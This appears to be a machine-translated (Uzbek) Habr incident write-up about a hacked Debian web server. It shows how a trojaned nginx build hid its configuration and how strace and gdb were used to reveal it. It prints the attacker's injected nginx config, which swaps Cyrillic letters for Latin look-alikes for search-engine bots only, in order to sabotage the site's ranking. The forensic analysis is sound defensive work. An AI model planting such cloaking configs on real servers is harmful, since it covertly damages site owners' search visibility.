Qachonki "a" "a" ga teng bo'lmasa. Hack ortidan

Do'stlarimdan biri bilan eng yoqimsiz voqea sodir bo'ldi. Ammo bu Mixail uchun qanchalik yoqimsiz bo'lsa, men uchun xuddi shunday qiziqarli edi.

Aytishim kerakki, mening do'stim juda yaxshi UNIX-foydalanuvchi: tizimni o'zi o'rnatishi mumkin mysql, php va oddiy sozlamalarni o'rnating nginx.
Va uning qurilish asboblariga bag'ishlangan o'nlab yoki bir yarim veb-saytlari bor.

Zanjir arralariga bag'ishlangan ushbu saytlardan biri qidiruv tizimlarining TOP-da mustahkam o'tiradi. Bu sayt notijorat sharhlovchisi, lekin kimdir unga hujum qilish odatiga aylangan. Bu DDoS, keyin shafqatsiz kuch, keyin ular odobsiz izohlar yozadilar va hostingga va RKNga suiiste'mollarni yuborishadi.
To'satdan hamma narsa tinchlandi va bu xotirjamlik yaxshi emas edi va sayt asta-sekin qidiruv natijalarining yuqori qatorlarini tark eta boshladi.

Qachonki "a" "a" ga teng bo'lmasa. Hack ortidan

Bu gap edi, keyin adminning o'zi.

Uyqu vaqti yaqinlashayotgan edi, telefon jiringladi: “San, mening serverimga qaramaysizmi? Menimcha, meni xakerlik qilishgan, men buni isbotlay olmayman, lekin bu tuyg'u meni uchinchi haftadan beri tark etmadi. Balki men uchun paranoyyadan davolanish vaqti kelgandir?

Yarim soat davom etgan munozarani quyidagicha umumlashtirish mumkin:

  • xakerlik uchun tuproq unumdor edi;
  • tajovuzkor superfoydalanuvchi huquqlariga ega bo'lishi mumkin;
  • hujum (agar u sodir bo'lgan bo'lsa) ushbu saytga qaratilgan;
  • muammoli joylar tuzatildi va siz shunchaki kirish yoki yo'qligini tushunishingiz kerak;
  • buzg'unchilik sayt kodi va ma'lumotlar bazalariga ta'sir qila olmadi.

Oxirgi nuqtaga kelsak.

Qachonki "a" "a" ga teng bo'lmasa. Hack ortidan

Faqat oq frontend IP dunyoga qaraydi. Http(lar)dan tashqari backend va frontend o'rtasida hech qanday almashinuv yo'q, foydalanuvchilar/parollar boshqacha, kalitlar almashtirilmagan. Kulrang manzillarda 80/443 dan tashqari barcha portlar yopiq. Oq backend IP-lar faqat Mixail to'liq ishonadigan ikkita foydalanuvchiga ma'lum.

Old qismga o'rnatilgan Debian 9 va qo'ng'iroq qilingan vaqtga kelib, tizim tashqi xavfsizlik devori tomonidan dunyodan ajratiladi va to'xtatiladi.

"Yaxshi, menga ruxsat bering", men uyquni bir soatga qoldirishga qaror qildim. "Men o'z ko'zim bilan ko'raman."

Bu erda va yana:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Mumkin bo'lgan hack qidirilmoqda

Men serverni birinchi bo'lib ishga tushiraman qutqarish rejimi. Men disklarni o'rnataman va ularni aylantiraman autent-jurnallar, tarix, tizim jurnallari va boshqalar, agar iloji bo'lsa, men fayl yaratilish sanalarini tekshiraman, garchi men oddiy kraker o'z ortidan "supurib ketishini" tushunaman va Misha o'zini qidirayotganda allaqachon ko'p "pastki qilgan". .

Men oddiy rejimda boshlayman, hali nimani izlash kerakligini tushunmayapman, konfiguratsiyalarni o'rganaman. Avvalo, meni qiziqtiradi nginx chunki, umuman olganda, frontendda undan boshqa hech narsa yo'q.
Konfiguratsiyalar kichik, o'nlab fayllarga yaxshi tuzilgan, men ularni ko'rib chiqaman mushukoh birma-bir. Hamma narsa toza ko'rinadi, lekin men nimanidir o'tkazib yuborganimni hech qachon bilmaysiz o'z ichiga oladi, toʻliq roʻyxatni keltiraman:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Men tushunmadim: "Ro'yxat qayerda?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Listing savoliga ikkinchi savol qo'shiladi: "Nega nginxning bunday qadimiy versiyasi?"

Bundan tashqari, tizim eng so'nggi versiya o'rnatilgan deb hisoblaydi:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Men qo'ng'iroq qilyapman:
- Misha, nega qayta yig'ilding? nginx?
- Kutib turing, men buni qanday qilishni ham bilmayman!
- Mayli, uxlang...

nginx u aniq qayta qurilgan va "-T" yordamida ro'yxatning chiqishi biron bir sababga ko'ra yashiringan. Buzg'unchilik haqida endi hech qanday shubha yo'q va siz buni oddiygina qabul qilishingiz mumkin va (Misha baribir serverni yangisiga almashtirganligi sababli) muammoni hal qilingan deb hisoblang.

Va haqiqatan ham, kimdir huquqlarga ega bo'lganidan beri ildiz'Ah, unda buni qilish mantiqiy tizimni qayta o'rnatish, va u erda nima noto'g'ri ekanligini izlash befoyda edi, lekin bu safar qiziqish uyquni mag'lub etdi. Ular bizdan nimani yashirmoqchi bo'lganini qanday bilib olamiz?

Keling, kuzatishga harakat qilaylik:

$ strace nginx -T

Biz qaraymiz, a la izida chiziqlar yetarli emasligi aniq

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Faqat o'yin-kulgi uchun, keling, topilmalarni taqqoslaylik.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Men kodning bir qismi deb o'ylayman /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

shaklga keltirildi:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

yoki

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

shuning uchun "-T" bo'yicha ro'yxat ko'rsatilmaydi.

Lekin konfiguratsiyamizni qanday ko'rishimiz mumkin?

Agar mening fikrim to'g'ri bo'lsa va muammo faqat o'zgaruvchida bo'lsa ngx_dump_config yordamida o'rnatishga harakat qilaylik gdb, xayriyatki, kalit bor --with-cc-opt -g mavjud va optimallashtirishga umid qilamiz -O2 bu bizga zarar qilmaydi. Shu bilan birga, men buni qanday qilishni bilmayman ngx_dump_config ichida qayta ishlanishi mumkin edi 'T' holi:, biz bu blokni chaqirmaymiz, lekin uni foydalanib o'rnatamiz "t" holati:

Nima uchun "-t" va "-T" dan foydalanishingiz mumkinBlokka ishlov berish agar(ngx_dump_config) ichida sodir bo'ladi agar(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Albatta, agar kod bu qismda emas, balki o'zgartirilsa 'T' holi:, keyin mening usulim ishlamaydi.

nginx.conf ni sinab ko'ringMuammoni eksperimental ravishda hal qilgandan so'ng, zararli dastur ishlashi uchun minimal konfiguratsiya zarurligi aniqlandi nginx turi:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Biz maqolada qisqalik uchun foydalanamiz.

Nosozliklarni tuzatuvchini ishga tushiring

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Qadamlarda:

  • funksiyada to'xtash nuqtasini o'rnating asosiy ()
  • dasturni ishga tushiring
  • konfiguratsiyaning chiqishini aniqlaydigan o'zgaruvchining qiymatini o'zgartiring ngx_dump_config=1
  • dasturni davom ettirish/tugatish

Ko'rib turganimizdek, haqiqiy konfiguratsiya biznikidan farq qiladi, biz undan parazit qismini tanlaymiz:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Keling, bu erda nima sodir bo'layotganini tartibda ko'rib chiqaylik.

Belgilangan Foydalanuvchi agentiyandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Xizmat sahifalari bundan mustasno wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Va yuqoridagi shartlarning ikkalasiga ham tegishli bo'lganlar uchun

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

matnda html-sahifalar o'zgaradi 'O' haqida 'o' и 'A' haqida "a":

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

To'g'ri, yagona noziklik shu 'a' != 'a' xuddi shunday 'o' != 'o':

Qachonki "a" "a" ga teng bo'lmasa. Hack ortidan

Shunday qilib, qidiruv tizimining botlari oddiy 100% kirill yozuvi o'rniga lotin tilida suyultirilgan o'zgartirilgan axlatni oladi. "a" и 'o'. Bu SEO-ga qanday ta'sir qilishini muhokama qilishga jur'at etmayman, lekin bunday harflar chalkashligi qidiruv natijalaridagi pozitsiyalarga ijobiy ta'sir ko'rsatishi dargumon.

Nima deyishim mumkin, tasavvurga ega yigitlar.

Manbalar

GDB bilan disk raskadrovka
gdb(1) - Linux foydalanuvchi sahifasi
strace (1) - Linux foydalanuvchi sahifasi
Nginx - ngx_http_sub_module moduli
Arra, zanjir va elektr arra haqida

Manba: www.habr.com

a Izoh qo'shish